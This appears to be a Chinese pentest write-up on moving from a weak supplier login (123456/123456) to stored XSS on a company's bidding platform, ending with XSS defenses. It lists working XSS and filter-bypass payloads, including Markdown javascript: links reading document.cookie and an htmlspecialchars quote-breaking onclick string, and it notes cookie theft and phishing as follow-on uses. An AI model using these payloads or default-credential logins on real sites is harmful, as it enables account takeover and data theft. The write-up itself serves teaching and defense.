对某公司一次弱口令到存储型xss挖掘
字数 954 2025-08-09 13:33:52

存储型XSS漏洞挖掘与绕过技术详解

免责声明

渗透过程为授权测试,所有漏洞均已提交相关平台。本文目的只为分享挖掘思路和知识传播,请勿用于非法用途。

涉及知识点

  1. XSS注入原理
  2. XSS注入绕过技术
  3. HTML实体编码
  4. 前端过滤机制及其绕过方法

漏洞挖掘过程

初始发现

在一次针对某工程公司项目招标平台的信息收集中,发现供应商登录入口存在弱口令漏洞:

  • 用户名:123456
  • 密码:123456

成功登录后,在供应商资料页面发现多个输入点,尝试进行XSS测试。

XSS测试语句库

输入框测试语句

<script>alert('XSS')</script>
<scr<script>ipt>alert('XSS')</scr<script>ipt>
"><script>alert("XSS")</script>
"><script>alert(String.fromCharCode(88,83,83))</script>

图片标签测试语句





">
">

编辑器测试语句

[a](javascript:window.onerror=alert;throw%201)
[a](data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K)
[a](j a v a s c r i p t:prompt(document.cookie))
[a](javascript:prompt(document.cookie))

漏洞确认

在"股份/责任人"输入栏成功注入:

<script>alert('XSS')</script>

查看DOM源码确认注入成功。

绕过技术详解

1. 标签闭合转义绕过

系统将</script>转义为<="" script="">,且多个/只被转义为=""

绕过方法:

  • 转换法:

    <scrIPT>alERT(1111)</scRIPT>  <!-- 大小写混淆 -->
    <scri<script>pt>alert(1111)</scri</script>pt>  <!-- 标签嵌套 -->
    <scri<!--test-->pt>alert(111)</scri<!--test-->pt>  <!-- 注释干扰 -->
    
  • 编码法:使用各种编码方式绕过后台过滤

2. htmlspecialchars()函数绕过

该函数将特殊字符转换为HTML实体:

  • &&amp
  • "&quot
  • '&#039
  • <&lt
  • >&gt

引用类型:

  • ENT_COMPAT - 默认,仅编码双引号
  • ENT_QUOTES - 编码双引号和单引号
  • ENT_NOQUOTES - 不编码任何引号

构造绕过语句:

q'οnclick='alert(1111)'

XSS利用进阶

成功注入后,可利用XSS平台进行进一步利用,如:

  • 窃取用户cookie
  • 发起CSRF攻击
  • 进行钓鱼攻击

XSS防御措施

总原则:输入做过滤,输出做转义

  1. 输入过滤

    • 根据业务需求进行严格过滤
    • 如输入手机号则只允许数字格式
  2. 输出转义

    • 所有输出到前端的数据都根据输出点进行转义
    • HTML输出进行HTML实体转义
    • JS输出进行JS转义
  3. 其他措施

    • 使用CSP(Content Security Policy)
    • 设置HttpOnly标志保护cookie
    • 使用X-XSS-Protection头部

总结

本次漏洞挖掘展示了从弱口令发现到存储型XSS的完整过程,重点在于:

  1. 全面测试所有输入点
  2. 了解系统过滤机制
  3. 灵活运用各种绕过技术
  4. 针对不同场景构造有效payload

安全开发人员应重视输入验证和输出编码,防御此类攻击。

存储型XSS漏洞挖掘与绕过技术详解 免责声明 渗透过程为授权测试,所有漏洞均已提交相关平台。本文目的只为分享挖掘思路和知识传播,请勿用于非法用途。 涉及知识点 XSS注入原理 XSS注入绕过技术 HTML实体编码 前端过滤机制及其绕过方法 漏洞挖掘过程 初始发现 在一次针对某工程公司项目招标平台的信息收集中,发现供应商登录入口存在弱口令漏洞: 用户名:123456 密码:123456 成功登录后,在供应商资料页面发现多个输入点,尝试进行XSS测试。 XSS测试语句库 输入框测试语句 图片标签测试语句 编辑器测试语句 漏洞确认 在"股份/责任人"输入栏成功注入: 查看DOM源码确认注入成功。 绕过技术详解 1. 标签闭合转义绕过 系统将 </script> 转义为 <="" script=""> ,且多个 / 只被转义为 ="" 。 绕过方法: 转换法: 编码法:使用各种编码方式绕过后台过滤 2. htmlspecialchars()函数绕过 该函数将特殊字符转换为HTML实体: & → &amp " → &quot ' → &#039 < → &lt > → &gt 引用类型: ENT_COMPAT - 默认,仅编码双引号 ENT_QUOTES - 编码双引号和单引号 ENT_NOQUOTES - 不编码任何引号 构造绕过语句: XSS利用进阶 成功注入后,可利用XSS平台进行进一步利用,如: 窃取用户cookie 发起CSRF攻击 进行钓鱼攻击 XSS防御措施 总原则:输入做过滤,输出做转义 输入过滤 : 根据业务需求进行严格过滤 如输入手机号则只允许数字格式 输出转义 : 所有输出到前端的数据都根据输出点进行转义 HTML输出进行HTML实体转义 JS输出进行JS转义 其他措施 : 使用CSP(Content Security Policy) 设置HttpOnly标志保护cookie 使用X-XSS-Protection头部 总结 本次漏洞挖掘展示了从弱口令发现到存储型XSS的完整过程,重点在于: 全面测试所有输入点 了解系统过滤机制 灵活运用各种绕过技术 针对不同场景构造有效payload 安全开发人员应重视输入验证和输出编码,防御此类攻击。